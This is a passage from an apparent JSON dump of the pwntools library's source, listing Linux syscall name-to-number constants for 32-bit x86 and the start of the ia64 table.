Constant('SYS_getgroups',80)\nSYS_getgroups32 = Constant('SYS_getgroups32',205)\nSYS_getitimer = Constant('SYS_getitimer',105)\nSYS_get_kernel_syms = Constant('SYS_get_kernel_syms',130)\nSYS_get_mempolicy = Constant('SYS_get_mempolicy',275)\nSYS_getpeername = Constant('SYS_getpeername',368)\nSYS_getpgid = Constant('SYS_getpgid',132)\nSYS_getpgrp = Constant('SYS_getpgrp',65)\nSYS_getpid = Constant('SYS_getpid',20)\nSYS_getpmsg = Constant('SYS_getpmsg',188)\nSYS_getppid = Constant('SYS_getppid',64)\nSYS_getpriority = Constant('SYS_getpriority',96)\nSYS_getrandom = Constant('SYS_getrandom',355)\nSYS_getresgid = Constant('SYS_getresgid',171)\nSYS_getresgid32 = Constant('SYS_getresgid32',211)\nSYS_getresuid = Constant('SYS_getresuid',165)\nSYS_getresuid32 = Constant('SYS_getresuid32',209)\nSYS_getrlimit = Constant('SYS_getrlimit',76)\nSYS_get_robust_list = Constant('SYS_get_robust_list',312)\nSYS_getrusage = Constant('SYS_getrusage',77)\nSYS_getsid = Constant('SYS_getsid',147)\nSYS_getsockname = Constant('SYS_getsockname',367)\nSYS_getsockopt = Constant('SYS_getsockopt',365)\nSYS_get_thread_area = Constant('SYS_get_thread_area',244)\nSYS_gettid = Constant('SYS_gettid',224)\nSYS_gettimeofday = Constant('SYS_gettimeofday',78)\nSYS_getuid = Constant('SYS_getuid',24)\nSYS_getuid32 = Constant('SYS_getuid32',199)\nSYS_getxattr = Constant('SYS_getxattr',229)\nSYS_gtty = Constant('SYS_gtty',32)\nSYS_ia32_arch_prctl = Constant('SYS_ia32_arch_prctl',384)\nSYS_ia32_io_pgetevents = Constant('SYS_ia32_io_pgetevents',385)\nSYS_ia32_rseq = Constant('SYS_ia32_rseq',386)\nSYS_ia32_statx = Constant('SYS_ia32_statx',383)\nSYS_idle = Constant('SYS_idle',112)\nSYS_init_module = Constant('SYS_init_module',128)\nSYS_inotify_add_watch = Constant('SYS_inotify_add_watch',292)\nSYS_inotify_init = Constant('SYS_inotify_init',291)\nSYS_inotify_init1 = Constant('SYS_inotify_init1',332)\nSYS_inotify_rm_watch = Constant('SYS_inotify_rm_watch',293)\nSYS_io_cancel = Constant('SYS_io_cancel',249)\nSYS_ioctl = Constant('SYS_ioctl',54)\nSYS_io_destroy = Constant('SYS_io_destroy',246)\nSYS_io_getevents = Constant('SYS_io_getevents',247)\nSYS_ioperm = Constant('SYS_ioperm',101)\nSYS_io_pgetevents_time64 = Constant('SYS_io_pgetevents_time64',416)\nSYS_iopl = Constant('SYS_iopl',110)\nSYS_ioprio_get = Constant('SYS_ioprio_get',290)\nSYS_ioprio_set = Constant('SYS_ioprio_set',289)\nSYS_io_setup = Constant('SYS_io_setup',245)\nSYS_io_submit = Constant('SYS_io_submit',248)\nSYS_io_uring_enter = Constant('SYS_io_uring_enter',426)\nSYS_io_uring_register = Constant('SYS_io_uring_register',427)\nSYS_io_uring_setup = Constant('SYS_io_uring_setup',425)\nSYS_ipc = Constant('SYS_ipc',117)\nSYS_kcmp = Constant('SYS_kcmp',349)\nSYS_keyctl = Constant('SYS_keyctl',288)\nSYS_kill = Constant('SYS_kill',37)\nSYS_lchown = Constant('SYS_lchown',16)\nSYS_lchown32 = Constant('SYS_lchown32',198)\nSYS_lgetxattr = Constant('SYS_lgetxattr',230)\nSYS_link = Constant('SYS_link',9)\nSYS_linkat = Constant('SYS_linkat',303)\nSYS_listen = Constant('SYS_listen',363)\nSYS_listxattr = Constant('SYS_listxattr',232)\nSYS_llistxattr = Constant('SYS_llistxattr',233)\nSYS__llseek = Constant('SYS__llseek',140)\nSYS_lock = Constant('SYS_lock',53)\nSYS_lookup_dcookie = Constant('SYS_lookup_dcookie',253)\nSYS_lremovexattr = Constant('SYS_lremovexattr',236)\nSYS_lseek = Constant('SYS_lseek',19)\nSYS_lsetxattr = Constant('SYS_lsetxattr',227)\nSYS_lstat = Constant('SYS_lstat',107)\nSYS_lstat64 = Constant('SYS_lstat64',196)\nSYS_madvise = Constant('SYS_madvise',219)\nSYS_madvise1 = Constant('SYS_madvise1',219)\nSYS_mbind = Constant('SYS_mbind',274)\nSYS_membarrier = Constant('SYS_membarrier',375)\nSYS_memfd_create = Constant('SYS_memfd_create',356)\nSYS_migrate_pages = Constant('SYS_migrate_pages',294)\nSYS_mincore = Constant('SYS_mincore',218)\nSYS_mkdir = Constant('SYS_mkdir',39)\nSYS_mkdirat = Constant('SYS_mkdirat',296)\nSYS_mknod = Constant('SYS_mknod',14)\nSYS_mknodat = Constant('SYS_mknodat',297)\nSYS_mlock = Constant('SYS_mlock',150)\nSYS_mlock2 = Constant('SYS_mlock2',376)\nSYS_mlockall = Constant('SYS_mlockall',152)\nSYS_mmap = Constant('SYS_mmap',90)\nSYS_mmap2 = Constant('SYS_mmap2',192)\nSYS_modify_ldt = Constant('SYS_modify_ldt',123)\nSYS_mount = Constant('SYS_mount',21)\nSYS_move_mount = Constant('SYS_move_mount',429)\nSYS_move_pages = Constant('SYS_move_pages',317)\nSYS_mprotect = Constant('SYS_mprotect',125)\nSYS_mpx = Constant('SYS_mpx',56)\nSYS_mq_getsetattr = Constant('SYS_mq_getsetattr',(277+5))\nSYS_mq_notify = Constant('SYS_mq_notify',(277+4))\nSYS_mq_open = Constant('SYS_mq_open',277)\nSYS_mq_timedreceive = Constant('SYS_mq_timedreceive',(277+3))\nSYS_mq_timedreceive_time64 = Constant('SYS_mq_timedreceive_time64',419)\nSYS_mq_timedsend = Constant('SYS_mq_timedsend',(277+2))\nSYS_mq_timedsend_time64 = Constant('SYS_mq_timedsend_time64',418)\nSYS_mq_unlink = Constant('SYS_mq_unlink',(277+1))\nSYS_mremap = Constant('SYS_mremap',163)\nSYS_msgctl = Constant('SYS_msgctl',402)\nSYS_msgget = Constant('SYS_msgget',399)\nSYS_msgrcv = Constant('SYS_msgrcv',401)\nSYS_msgsnd = Constant('SYS_msgsnd',400)\nSYS_msync = Constant('SYS_msync',144)\nSYS_munlock = Constant('SYS_munlock',151)\nSYS_munlockall = Constant('SYS_munlockall',153)\nSYS_munmap = Constant('SYS_munmap',91)\nSYS_name_to_handle_at = Constant('SYS_name_to_handle_at',341)\nSYS_nanosleep = Constant('SYS_nanosleep',162)\nSYS__newselect = Constant('SYS__newselect',142)\nSYS_nfsservctl = Constant('SYS_nfsservctl',169)\nSYS_nice = Constant('SYS_nice',34)\nSYS_oldfstat = Constant('SYS_oldfstat',28)\nSYS_oldlstat = Constant('SYS_oldlstat',84)\nSYS_oldolduname = Constant('SYS_oldolduname',59)\nSYS_oldstat = Constant('SYS_oldstat',18)\nSYS_olduname = Constant('SYS_olduname',109)\nSYS_open = Constant('SYS_open',5)\nSYS_openat = Constant('SYS_openat',295)\nSYS_openat2 = Constant('SYS_openat2',437)\nSYS_open_by_handle_at = Constant('SYS_open_by_handle_at',342)\nSYS_open_tree = Constant('SYS_open_tree',428)\nSYS_pause = Constant('SYS_pause',29)\nSYS_perf_event_open = Constant('SYS_perf_event_open',336)\nSYS_personality = Constant('SYS_personality',136)\nSYS_pidfd_getfd = Constant('SYS_pidfd_getfd',438)\nSYS_pidfd_open = Constant('SYS_pidfd_open',434)\nSYS_pidfd_send_signal = Constant('SYS_pidfd_send_signal',424)\nSYS_pipe = Constant('SYS_pipe',42)\nSYS_pipe2 = Constant('SYS_pipe2',331)\nSYS_pivot_root = Constant('SYS_pivot_root',217)\nSYS_pkey_alloc = Constant('SYS_pkey_alloc',381)\nSYS_pkey_free = Constant('SYS_pkey_free',382)\nSYS_pkey_mprotect = Constant('SYS_pkey_mprotect',380)\nSYS_poll = Constant('SYS_poll',168)\nSYS_ppoll = Constant('SYS_ppoll',309)\nSYS_ppoll_time64 = Constant('SYS_ppoll_time64',414)\nSYS_prctl = Constant('SYS_prctl',172)\nSYS_pread = Constant('SYS_pread',180)\nSYS_preadv = Constant('SYS_preadv',333)\nSYS_preadv2 = Constant('SYS_preadv2',378)\nSYS_prlimit64 = Constant('SYS_prlimit64',340)\nSYS_process_vm_readv = Constant('SYS_process_vm_readv',347)\nSYS_process_vm_writev = Constant('SYS_process_vm_writev',348)\nSYS_prof = Constant('SYS_prof',44)\nSYS_profil = Constant('SYS_profil',98)\nSYS_pselect6 = Constant('SYS_pselect6',308)\nSYS_pselect6_time64 = Constant('SYS_pselect6_time64',413)\nSYS_ptrace = Constant('SYS_ptrace',26)\nSYS_putpmsg = Constant('SYS_putpmsg',189)\nSYS_pwrite = Constant('SYS_pwrite',181)\nSYS_pwritev = Constant('SYS_pwritev',334)\nSYS_pwritev2 = Constant('SYS_pwritev2',379)\nSYS_query_module = Constant('SYS_query_module',167)\nSYS_quotactl = Constant('SYS_quotactl',131)\nSYS_read = Constant('SYS_read',3)\nSYS_readahead = Constant('SYS_readahead',225)\nSYS_readdir = Constant('SYS_readdir',89)\nSYS_readlink = Constant('SYS_readlink',85)\nSYS_readlinkat = Constant('SYS_readlinkat',305)\nSYS_readv = Constant('SYS_readv',145)\nSYS_reboot = Constant('SYS_reboot',88)\nSYS_recvfrom = Constant('SYS_recvfrom',371)\nSYS_recvmmsg = Constant('SYS_recvmmsg',337)\nSYS_recvmmsg_time64 = Constant('SYS_recvmmsg_time64',417)\nSYS_recvmsg = Constant('SYS_recvmsg',372)\nSYS_remap_file_pages = Constant('SYS_remap_file_pages',257)\nSYS_removexattr = Constant('SYS_removexattr',235)\nSYS_rename = Constant('SYS_rename',38)\nSYS_renameat = Constant('SYS_renameat',302)\nSYS_renameat2 = Constant('SYS_renameat2',353)\nSYS_request_key = Constant('SYS_request_key',287)\nSYS_rmdir = Constant('SYS_rmdir',40)\nSYS_rt_sigaction = Constant('SYS_rt_sigaction',174)\nSYS_rt_sigpending = Constant('SYS_rt_sigpending',176)\nSYS_rt_sigprocmask = Constant('SYS_rt_sigprocmask',175)\nSYS_rt_sigqueueinfo = Constant('SYS_rt_sigqueueinfo',178)\nSYS_rt_sigreturn = Constant('SYS_rt_sigreturn',173)\nSYS_rt_sigsuspend = Constant('SYS_rt_sigsuspend',179)\nSYS_rt_sigtimedwait = Constant('SYS_rt_sigtimedwait',177)\nSYS_rt_sigtimedwait_time64 = Constant('SYS_rt_sigtimedwait_time64',421)\nSYS_rt_tgsigqueueinfo = Constant('SYS_rt_tgsigqueueinfo',335)\nSYS_sched_getaffinity = Constant('SYS_sched_getaffinity',242)\nSYS_sched_getattr = Constant('SYS_sched_getattr',352)\nSYS_sched_getparam = Constant('SYS_sched_getparam',155)\nSYS_sched_get_priority_max = Constant('SYS_sched_get_priority_max',159)\nSYS_sched_get_priority_min = Constant('SYS_sched_get_priority_min',160)\nSYS_sched_getscheduler = Constant('SYS_sched_getscheduler',157)\nSYS_sched_rr_get_interval = Constant('SYS_sched_rr_get_interval',161)\nSYS_sched_rr_get_interval_time64 = Constant('SYS_sched_rr_get_interval_time64',423)\nSYS_sched_setaffinity = Constant('SYS_sched_setaffinity',241)\nSYS_sched_setattr = Constant('SYS_sched_setattr',351)\nSYS_sched_setparam = Constant('SYS_sched_setparam',154)\nSYS_sched_setscheduler = Constant('SYS_sched_setscheduler',156)\nSYS_sched_yield = Constant('SYS_sched_yield',158)\nSYS_seccomp = Constant('SYS_seccomp',354)\nSYS_select = Constant('SYS_select',82)\nSYS_semctl = Constant('SYS_semctl',394)\nSYS_semget = Constant('SYS_semget',393)\nSYS_semtimedop_time64 = Constant('SYS_semtimedop_time64',420)\nSYS_sendfile = Constant('SYS_sendfile',187)\nSYS_sendfile64 = Constant('SYS_sendfile64',239)\nSYS_sendmmsg = Constant('SYS_sendmmsg',345)\nSYS_sendmsg = Constant('SYS_sendmsg',370)\nSYS_sendto = Constant('SYS_sendto',369)\nSYS_setdomainname = Constant('SYS_setdomainname',121)\nSYS_setfsgid = Constant('SYS_setfsgid',139)\nSYS_setfsgid32 = Constant('SYS_setfsgid32',216)\nSYS_setfsuid = Constant('SYS_setfsuid',138)\nSYS_setfsuid32 = Constant('SYS_setfsuid32',215)\nSYS_setgid = Constant('SYS_setgid',46)\nSYS_setgid32 = Constant('SYS_setgid32',214)\nSYS_setgroups = Constant('SYS_setgroups',81)\nSYS_setgroups32 = Constant('SYS_setgroups32',206)\nSYS_sethostname = Constant('SYS_sethostname',74)\nSYS_setitimer = Constant('SYS_setitimer',104)\nSYS_set_mempolicy = Constant('SYS_set_mempolicy',276)\nSYS_setns = Constant('SYS_setns',346)\nSYS_setpgid = Constant('SYS_setpgid',57)\nSYS_setpriority = Constant('SYS_setpriority',97)\nSYS_setregid = Constant('SYS_setregid',71)\nSYS_setregid32 = Constant('SYS_setregid32',204)\nSYS_setresgid = Constant('SYS_setresgid',170)\nSYS_setresgid32 = Constant('SYS_setresgid32',210)\nSYS_setresuid = Constant('SYS_setresuid',164)\nSYS_setresuid32 = Constant('SYS_setresuid32',208)\nSYS_setreuid = Constant('SYS_setreuid',70)\nSYS_setreuid32 = Constant('SYS_setreuid32',203)\nSYS_setrlimit = Constant('SYS_setrlimit',75)\nSYS_set_robust_list = Constant('SYS_set_robust_list',311)\nSYS_setsid = Constant('SYS_setsid',66)\nSYS_setsockopt = Constant('SYS_setsockopt',366)\nSYS_set_thread_area = Constant('SYS_set_thread_area',243)\nSYS_set_tid_address = Constant('SYS_set_tid_address',258)\nSYS_settimeofday = Constant('SYS_settimeofday',79)\nSYS_setuid = Constant('SYS_setuid',23)\nSYS_setuid32 = Constant('SYS_setuid32',213)\nSYS_setxattr = Constant('SYS_setxattr',226)\nSYS_sgetmask = Constant('SYS_sgetmask',68)\nSYS_shmat = Constant('SYS_shmat',397)\nSYS_shmctl = Constant('SYS_shmctl',396)\nSYS_shmdt = Constant('SYS_shmdt',398)\nSYS_shmget = Constant('SYS_shmget',395)\nSYS_shutdown = Constant('SYS_shutdown',373)\nSYS_sigaction = Constant('SYS_sigaction',67)\nSYS_sigaltstack = Constant('SYS_sigaltstack',186)\nSYS_signal = Constant('SYS_signal',48)\nSYS_signalfd = Constant('SYS_signalfd',321)\nSYS_signalfd4 = Constant('SYS_signalfd4',327)\nSYS_sigpending = Constant('SYS_sigpending',73)\nSYS_sigprocmask = Constant('SYS_sigprocmask',126)\nSYS_sigreturn = Constant('SYS_sigreturn',119)\nSYS_sigsuspend = Constant('SYS_sigsuspend',72)\nSYS_socket = Constant('SYS_socket',359)\nSYS_socketcall = Constant('SYS_socketcall',102)\nSYS_socketpair = Constant('SYS_socketpair',360)\nSYS_splice = Constant('SYS_splice',313)\nSYS_ssetmask = Constant('SYS_ssetmask',69)\nSYS_stat = Constant('SYS_stat',106)\nSYS_stat64 = Constant('SYS_stat64',195)\nSYS_statfs = Constant('SYS_statfs',99)\nSYS_statfs64 = Constant('SYS_statfs64',268)\nSYS_stime = Constant('SYS_stime',25)\nSYS_stty = Constant('SYS_stty',31)\nSYS_swapoff = Constant('SYS_swapoff',115)\nSYS_swapon = Constant('SYS_swapon',87)\nSYS_symlink = Constant('SYS_symlink',83)\nSYS_symlinkat = Constant('SYS_symlinkat',304)\nSYS_sync = Constant('SYS_sync',36)\nSYS_sync_file_range = Constant('SYS_sync_file_range',314)\nSYS_syncfs = Constant('SYS_syncfs',344)\nSYS__sysctl = Constant('SYS__sysctl',149)\nSYS_sysfs = Constant('SYS_sysfs',135)\nSYS_sysinfo = Constant('SYS_sysinfo',116)\nSYS_sys_kexec_load = Constant('SYS_sys_kexec_load',283)\nSYS_syslog = Constant('SYS_syslog',103)\nSYS_tee = Constant('SYS_tee',315)\nSYS_tgkill = Constant('SYS_tgkill',270)\nSYS_time = Constant('SYS_time',13)\nSYS_timer_create = Constant('SYS_timer_create',259)\nSYS_timer_delete = Constant('SYS_timer_delete',(259+4))\nSYS_timerfd = Constant('SYS_timerfd',322)\nSYS_timerfd_gettime = Constant('SYS_timerfd_gettime',326)\nSYS_timerfd_gettime64 = Constant('SYS_timerfd_gettime64',410)\nSYS_timerfd_settime = Constant('SYS_timerfd_settime',325)\nSYS_timerfd_settime64 = Constant('SYS_timerfd_settime64',411)\nSYS_timer_getoverrun = Constant('SYS_timer_getoverrun',(259+3))\nSYS_timer_gettime = Constant('SYS_timer_gettime',(259+2))\nSYS_timer_gettime64 = Constant('SYS_timer_gettime64',408)\nSYS_timer_settime = Constant('SYS_timer_settime',(259+1))\nSYS_timer_settime64 = Constant('SYS_timer_settime64',409)\nSYS_times = Constant('SYS_times',43)\nSYS_tkill = Constant('SYS_tkill',238)\nSYS_truncate = Constant('SYS_truncate',92)\nSYS_truncate64 = Constant('SYS_truncate64',193)\nSYS_ugetrlimit = Constant('SYS_ugetrlimit',191)\nSYS_ulimit = Constant('SYS_ulimit',58)\nSYS_umask = Constant('SYS_umask',60)\nSYS_umount = Constant('SYS_umount',22)\nSYS_umount2 = Constant('SYS_umount2',52)\nSYS_uname = Constant('SYS_uname',122)\nSYS_unlink = Constant('SYS_unlink',10)\nSYS_unlinkat = Constant('SYS_unlinkat',301)\nSYS_unshare = Constant('SYS_unshare',310)\nSYS_uselib = Constant('SYS_uselib',86)\nSYS_userfaultfd = Constant('SYS_userfaultfd',374)\nSYS_ustat = Constant('SYS_ustat',62)\nSYS_utime = Constant('SYS_utime',30)\nSYS_utimensat = Constant('SYS_utimensat',320)\nSYS_utimensat_time64 = Constant('SYS_utimensat_time64',412)\nSYS_utimes = Constant('SYS_utimes',271)\nSYS_vfork = Constant('SYS_vfork',190)\nSYS_vhangup = Constant('SYS_vhangup',111)\nSYS_vm86 = Constant('SYS_vm86',166)\nSYS_vm86old = Constant('SYS_vm86old',113)\nSYS_vmsplice = Constant('SYS_vmsplice',316)\nSYS_vserver = Constant('SYS_vserver',273)\nSYS_wait4 = Constant('SYS_wait4',114)\nSYS_waitid = Constant('SYS_waitid',284)\nSYS_waitpid = Constant('SYS_waitpid',7)\nSYS_write = Constant('SYS_write',4)\nSYS_writev = Constant('SYS_writev',146)\nSYS_socketcall_socket = Constant('SYS_socketcall_socket',1)\nSYS_socketcall_bind = Constant('SYS_socketcall_bind',2)\nSYS_socketcall_connect = Constant('SYS_socketcall_connect',3)\nSYS_socketcall_listen = Constant('SYS_socketcall_listen',4)\nSYS_socketcall_accept = Constant('SYS_socketcall_accept',5)\nSYS_socketcall_getsockname = Constant('SYS_socketcall_getsockname',6)\nSYS_socketcall_getpeername = Constant('SYS_socketcall_getpeername',7)\nSYS_socketcall_socketpair = Constant('SYS_socketcall_socketpair',8)\nSYS_socketcall_send = Constant('SYS_socketcall_send',9)\nSYS_socketcall_recv = Constant('SYS_socketcall_recv',10)\nSYS_socketcall_sendto = Constant('SYS_socketcall_sendto',11)\nSYS_socketcall_recvfrom = Constant('SYS_socketcall_recvfrom',12)\nSYS_socketcall_shutdown = Constant('SYS_socketcall_shutdown',13)\nSYS_socketcall_setsockopt = Constant('SYS_socketcall_setsockopt',14)\nSYS_socketcall_getsockopt = Constant('SYS_socketcall_getsockopt',15)\nSYS_socketcall_sendmsg = Constant('SYS_socketcall_sendmsg',16)\nSYS_socketcall_recvmsg = Constant('SYS_socketcall_recvmsg',17)\n"
  },
  {
    "path": "pwnlib/constants/linux/ia64.py",
    "content": "from pwnlib.constants.constant import Constant\n__NR_Linux = Constant('__NR_Linux',1024)\n__NR_ni_syscall = Constant('__NR_ni_syscall',(1024 + 0))\n__NR_exit = Constant('__NR_exit',(1024 + 1))\n__NR_read = Constant('__NR_read',(1024 + 2))\n__NR_write = Constant('__NR_write',(1024 + 3))\n__NR_open = Constant('__NR_open',(1024 + 4))\n__NR_close = Constant('__NR_close',(1024 + 5))\n__NR_creat = Constant('__NR_creat',(1024 + 6))\n__NR_link = Constant('__NR_link',(1024 + 7))\n__NR_unlink = Constant('__NR_unlink',(1024 + 8))\n__NR_execve = Constant('__NR_execve',(1024 + 9))\n__NR_chdir = Constant('__NR_chdir',(1024 + 10))\n__NR_fchdir = Constant('__NR_fchdir',(1024 + 11))\n__NR_utimes = Constant('__NR_utimes',(1024 + 12))\n__NR_mknod = Constant('__NR_mknod',(1024 + 13))\n__NR_chmod = Constant('__NR_chmod',(1024 + 14))\n__NR_chown = Constant('__NR_chown',(1024 + 15))\n__NR_lseek = Constant('__NR_lseek',(1024 + 16))\n__NR_getpid = Constant('__NR_getpid',(1024 + 17))\n__NR_getppid = Constant('__NR_getppid',(1024 + 18))\n__NR_mount = Constant('__NR_mount',(1024 + 19))\n__NR_umount2 = Constant('__NR_umount2',(1024 + 20))\n__NR_setuid = Constant('__NR_setuid',(1024 + 21))\n__NR_getuid = Constant('__NR_getuid',(1024 + 22))\n__NR_geteuid = Constant('__NR_geteuid',(1024 + 23))\n__NR_ptrace = Constant('__NR_ptrace',(1024 + 24))\n__NR_access = Constant('__NR_access',(1024 + 25))\n__NR_sync = Constant('__NR_sync',(1024 + 26))\n__NR_fsync = Constant('__NR_fsync',(1024 + 27))\n__NR_fdatasync = Constant('__NR_fdatasync',(1024 + 28))\n__NR_kill = Constant('__NR_kill',(1024 + 29))\n__NR_rename = Constant('__NR_rename',(1024 + 30))\n__NR_mkdir = Constant('__NR_mkdir',(1024 + 31))\n__NR_rmdir = Constant('__NR_rmdir',(1024 + 32))\n__NR_dup = Constant('__NR_dup',(1024 + 33))\n__NR_pipe = Constant('__NR_pipe',(1024 + 34))\n__NR_times = Constant('__NR_times',(1024 + 35))\n__NR_brk = Constant('__NR_brk',(1024 + 36))\n__NR_setgid = Constant('__NR_setgid',(1024 + 37))\n__NR_getgid = Constant('__NR_getgid',(1024 + 38))\n__NR_getegid = Constant('__NR_getegid',(1024 + 39))\n__NR_acct = Constant('__NR_acct',(1024 + 40))\n__NR_ioctl = Constant('__NR_ioctl',(1024 + 41))\n__NR_fcntl = Constant('__NR_fcntl',(1024 + 42))\n__NR_umask = Constant('__NR_umask',(1024 + 43))\n__NR_chroot = Constant('__NR_chroot',(1024 + 44))\n__NR_ustat = Constant('__NR_ustat',(1024 + 45))\n__NR_dup2 = Constant('__NR_dup2',(1024 + 46))\n__NR_setreuid = Constant('__NR_setreuid',(1024 + 47))\n__NR_setregid = Constant('__NR_setregid',(1024 + 48))\n__NR_getresuid = Constant('__NR_getresuid',(1024 + 49))\n__NR_setresuid = Constant('__NR_setresuid',(1024 + 50))\n__NR_getresgid = Constant('__NR_getresgid',(1024 + 51))\n__NR_setresgid = Constant('__NR_setresgid',(1024 + 52))\n__NR_getgroups = Constant('__NR_getgroups',(1024 + 53))\n__NR_setgroups = Constant('__NR_setgroups',(1024 + 54))\n__NR_getpgid = Constant('__NR_getpgid',(1024 + 55))\n__NR_setpgid = Constant('__NR_setpgid',(1024 + 56))\n__NR_setsid = Constant('__NR_setsid',(1024 + 57))\n__NR_getsid = Constant('__NR_getsid',(1024 + 58))\n__NR_sethostname = Constant('__NR_sethostname',(1024 + 59))\n__NR_setrlimit = Constant('__NR_setrlimit',(1024 + 60))\n__NR_getrlimit = Constant('__NR_getrlimit',(1024 + 61))\n__NR_getrusage = Constant('__NR_getrusage',(1024 + 62))\n__NR_gettimeofday = Constant('__NR_gettimeofday',(1024 + 63))\n__NR_settimeofday = Constant('__NR_settimeofday',(1024 + 64))\n__NR_select = Constant('__NR_select',(1024 + 65))\n__NR_poll = Constant('__NR_poll',(1024 + 66))\n__NR_symlink = Constant('__NR_symlink',(1024 + 67))\n__NR_readlink = Constant('__NR_readlink',(1024 + 68))\n__NR_uselib = Constant('__NR_uselib',(1024 + 69))\n__NR_swapon = Constant('__NR_swapon',(1024 + 70))\n__NR_swapoff = Constant('__NR_swapoff',(1024 + 71))\n__NR_reboot = Constant('__NR_reboot',(1024 + 72))\n__NR_truncate = Constant('__NR_truncate',(1024 + 73))\n__NR_ftruncate = Constant('__NR_ftruncate',(1024 + 74))\n__NR_fchmod = Constant('__NR_fchmod',(1024 + 75))\n__NR_fchown = Constant('__NR_fchown',(1024 + 76))\n__NR_getpriority = Constant('__NR_getpriority',(1024 + 77))\n__NR_setpriority = Constant('__NR_setpriority',(1024 + 78))\n__NR_statfs = Constant('__NR_statfs',(1024 + 79))\n__NR_fstatfs = Constant('__NR_fstatfs',(1024 + 80))\n__NR_gettid = Constant('__NR_gettid',(1024 + 81))\n__NR_semget = Constant('__NR_semget',(1024 + 82))\n__NR_semop = Constant('__NR_semop',(1024 + 83))\n__NR_semctl = Constant('__NR_semctl',(1024 + 84))\n__NR_msgget = Constant('__NR_msgget',(1024 + 85))\n__NR_msgsnd = Constant('__NR_msgsnd',(1024 + 86))\n__NR_msgrcv = Constant('__NR_msgrcv',(1024 + 87))\n__NR_msgctl = Constant('__NR_msgctl',(1024 + 88))\n__NR_shmget = Constant('__NR_shmget',(1024 + 89))\n__NR_shmat = Constant('__NR_shmat',(1024 + 90))\n__NR_shmdt = Constant('__NR_shmdt',(1024 + 91))\n__NR_shmctl = Constant('__NR_shmctl',(1024 + 92))\n__NR_syslog = Constant('__NR_syslog',(1024 + 93))\n__NR_setitimer = Constant('__NR_setitimer',(1024 + 94))\n__NR_getitimer = Constant('__NR_getitimer',(1024 + 95))\n__NR_vhangup = Constant('__NR_vhangup',(1024 + 99))\n__NR_lchown = Constant('__NR_lchown',(1024 + 100))\n__NR_remap_file_pages = Constant('__NR_remap_file_pages',(1024 + 101))\n__NR_wait4 = Constant('__NR_wait4',(1024 + 102))\n__NR_sysinfo = Constant('__NR_sysinfo',(1024 + 103))\n__NR_clone = Constant('__NR_clone',(1024 + 104))\n__NR_setdomainname = Constant('__NR_setdomainname',(1024 + 105))\n__NR_uname = Constant('__NR_uname',(1024 + 106))\n__NR_adjtimex = Constant('__NR_adjtimex',(1024 + 107))\n__NR_init_module = Constant('__NR_init_module',(1024 + 109))\n__NR_delete_module = Constant('__NR_delete_module',(1024 + 110))\n__NR_quotactl = Constant('__NR_quotactl',(1024 + 113))\n__NR_bdflush = Constant('__NR_bdflush',(1024 + 114))\n__NR_sysfs = Constant('__NR_sysfs',(1024 + 115))\n__NR_personality = Constant('__NR_personality',(1024 + 116))\n__NR_afs_syscall = Constant('__NR_afs_syscall',(1024 + 117))\n__NR_setfsuid = Constant('__NR_setfsuid',(1024 + 118))\n__NR_setfsgid = Constant('__NR_setfsgid',(1024 + 119))\n__NR_getdents = Constant('__NR_getdents',(1024 + 120))\n__NR_flock = Constant('__NR_flock',(1024 + 121))\n__NR_readv = Constant('__NR_readv',(1024 + 122))\n__NR_writev = Constant('__NR_writev',(1024 + 123))\n__NR_pread64 = Constant('__NR_pread64',(1024 + 124))\n__NR_pwrite64 = Constant('__NR_pwrite64',(1024 + 125))\n__NR__sysctl = Constant('__NR__sysctl',(1024 + 126))\n__NR_mmap = Constant('__NR_mmap',(1024 + 127))\n__NR_munmap = Constant('__NR_munmap',(1024 + 128))\n__NR_mlock = Constant('__NR_mlock',(1024 + 129))\n__NR_mlockall = Constant('__NR_mlockall',(1024 + 130))\n__NR_mprotect = Constant('__NR_mprotect',(1024 + 131))\n__NR_mremap = Constant('__NR_mremap',(1024 + 132))\n__NR_msync = Constant('__NR_msync',(1024 + 133))\n__NR_munlock = Constant('__NR_munlock',(1024 + 134))\n__NR_munlockall = Constant('__NR_munlockall',(1024 + 135))\n__NR_sched_getparam = Constant('__NR_sched_getparam',(1024 + 136))\n__NR_sched_setparam = Constant('__NR_sched_setparam',(1024 + 137))\n__NR_sched_getscheduler = Constant('__NR_sched_getscheduler',(1024 + 138))\n__NR_sched_setscheduler = Constant('__NR_sched_setscheduler',(1024 + 139))\n__NR_sched_yield = Constant('__NR_sched_yield',(1024 + 140))\n__NR_sched_get_priority_max = Constant('__NR_sched_get_priority_max',(1024 + 141))\n__NR_sched_get_priority_min = Constant('__NR_sched_get_priority_min',(1024 + 142))\n__NR_sched_rr_get_interval = Constant('__NR_sched_rr_get_interval',(1024 + 143))\n__NR_nanosleep = Constant('__NR_nanosleep',(1024 + 144))\n__NR_nfsservctl = Constant('__NR_nfsservctl',(1024 + 145))\n__NR_prctl = Constant('__NR_prctl',(1024 + 146))\n__NR_old_getpagesize = Constant('__NR_old_getpagesize',(1024 + 147))\n__NR_mmap2 = Constant('__NR_mmap2',(1024 + 148))\n__NR_pciconfig_read = Constant('__NR_pciconfig_read',(1024 + 149))\n__NR_pciconfig_write = Constant('__NR_pciconfig_write',(1024 + 150))\n__NR_perfmonctl = Constant('__NR_perfmonctl',(1024 + 151))\n__NR_sigaltstack = Constant('__NR_sigaltstack',(1024 + 152))\n__NR_rt_sigaction = Constant('__NR_rt_sigaction',(1024 + 153))\n__NR_rt_sigpending = Constant('__NR_rt_sigpending',(1024 + 154))\n__NR_rt_sigprocmask = Constant('__NR_rt_sigprocmask',(1024 + 155))\n__NR_rt_sigqueueinfo = Constant('__NR_rt_sigqueueinfo',(1024 + 156))\n__NR_rt_sigreturn = Constant('__NR_rt_sigreturn',(1024 + 157))\n__NR_rt_sigsuspend = Constant('__NR_rt_sigsuspend',(1024 + 158))\n__NR_rt_sigtimedwait = Constant('__NR_rt_sigtimedwait',(1024 + 159))\n__NR_getcwd = Constant('__NR_getcwd',(1024 + 160))\n__NR_capget = Constant('__NR_capget',(1024 + 161))\n__NR_capset = Constant('__NR_capset',(1024 + 162))\n__NR_sendfile = Constant('__NR_sendfile',(1024 + 163))\n__NR_getpmsg = Constant('__NR_getpmsg',(1024 + 164))\n__NR_putpmsg = Constant('__NR_putpmsg',(1024 + 165))\n__NR_socket = Constant('__NR_socket',(1024 + 166))\n__NR_bind = Constant('__NR_bind',(1024 + 167))\n__NR_connect = Constant('__NR_connect',(1024 + 168))\n__NR_listen = Constant('__NR_listen',(1024 + 169))\n__NR_accept = Constant('__NR_accept',(1024 + 170))\n__NR_getsockname = Constant('__NR_getsockname',(1024 + 171))\n__NR_getpeername = 